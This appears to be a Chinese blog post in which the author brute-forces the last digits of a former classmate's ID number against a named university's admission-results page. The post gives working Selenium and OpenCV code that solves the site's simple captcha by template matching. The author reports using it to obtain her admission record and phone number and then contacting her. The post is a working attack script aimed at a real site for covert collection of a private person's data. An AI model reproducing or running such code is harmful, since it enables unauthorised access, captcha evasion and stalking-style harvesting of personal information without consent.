1. 程式人生 > >通過selenium,暴力窮舉身份證號登陸某網站

通過selenium,暴力窮舉身份證號登陸某網站

偶然發現小學女神在某大學讀研,想聯絡一波。十多年沒有聯絡,怎麼辦?發現研究生錄取查詢只用身份證號+姓名+驗證碼,身份證號學校在某些檔案公佈了14位,剩下四位要窮舉,身份證最後一位校驗位,倒數第二位性別,倒數第三第四位窮舉,算下來也就500種可能,可以接受;姓名當然知道;驗證碼,學校的驗證碼也是簡單, 位置固定,樣式固定,沒有噪聲,我都難得訓練模型來預測,直接樣板匹配了。下面是驗證碼和模板

                                                                                

        

                                                                        

                               

其實驗證碼複雜一點也無所謂,阿里雲之類的平臺有很多收費的api,1塊錢100次左右,直接調api也可以。

然後就是用selenium模擬登陸了,其實很簡單,很容易上手。

from selenium import webdriver
from PIL import Image
import cv2
import os

# 通過模板匹配預測數字
def getNum(roi):
    nums = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    total = []

    for i in range(0, 10):
        sum = 0
        temp = cv2.imread('/Users/Rubik/PycharmProjects/selenium_demo/' +  nums[i] + '.png')
        temp = cv2.cvtColor(temp, cv2.COLOR_BGR2GRAY)
        for row in range(0, 27):
            for col in range(0, 14):
                if roi[row][col] == temp[row][col]:
                    sum = sum + 1

        total.append(sum)
    print(total)
    return total.index(max(total))

# 保護隱私,這裡身份證號的輸入用的輸入,其實就是自己寫一個程式生成可能的身份證號
id = []
for i in range(0, 500):
    st = input()
    id.append(st)

# 匯入驅動
dr = webdriver.Chrome(executable_path = '/Users/Rubik/PycharmProjects/selenium_demo/chromedriver')
for cnt in range(0, 500):
    
    dr.get('http://yjscx.hbut.edu.cn/2018chushicjcx/chaxun.asp')
    dr.maximize_window()
    window_size = dr.get_window_size()
    dr.find_element_by_id('name_cnxdb').send_keys("***")    # ‘***’是名字  
    dr.find_element_by_id('idcard_cnxdb').send_keys(id[cnt])
    
    # 截當前網頁的圖     dr.get_screenshot_as_file('/Users/Rubik/PycharmProjects/selenium_demo/test.png')
    dr.set_window_position(0, 0)
    im = Image.open('/Users/Rubik/PycharmProjects/selenium_demo/test.png')
    #  鎖定驗證碼的位置,擷取roi,再來分析
    im = im.crop((1155, 466, 1235, 493))
    im.save('/Users/Rubik/PycharmProjects/selenium_demo/code.png')
    
    # 通過OpenCV的簡單操作判斷checkcode
    img = cv2.imread('/Users/Rubik/PycharmProjects/selenium_demo/code.png')
    img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    cv2.threshold(img, 128, 255, cv2.THRESH_OTSU, img)

    check = 0
    # 字元的位置其實就是長27, 寬14,起始左上角(0,0)
    for i in range(0, 4):
        roi = img[0 : 27, i * 20 : i * 20 + 14]
        check = check * 10 + getNum(roi)
    
    dr.find_element_by_name('checkcode').send_keys(check)
    dr.find_element_by_name('submit').click()   # submit
    cv2.waitKey(2000)    # 等兩秒看結果
    print(id[cnt])
dr.close()


最後通過身份證號,查到了錄取通知書的聯絡方式等資訊,通過手機號加了微信,尬聊1了小時,畢竟10年沒有聯絡過。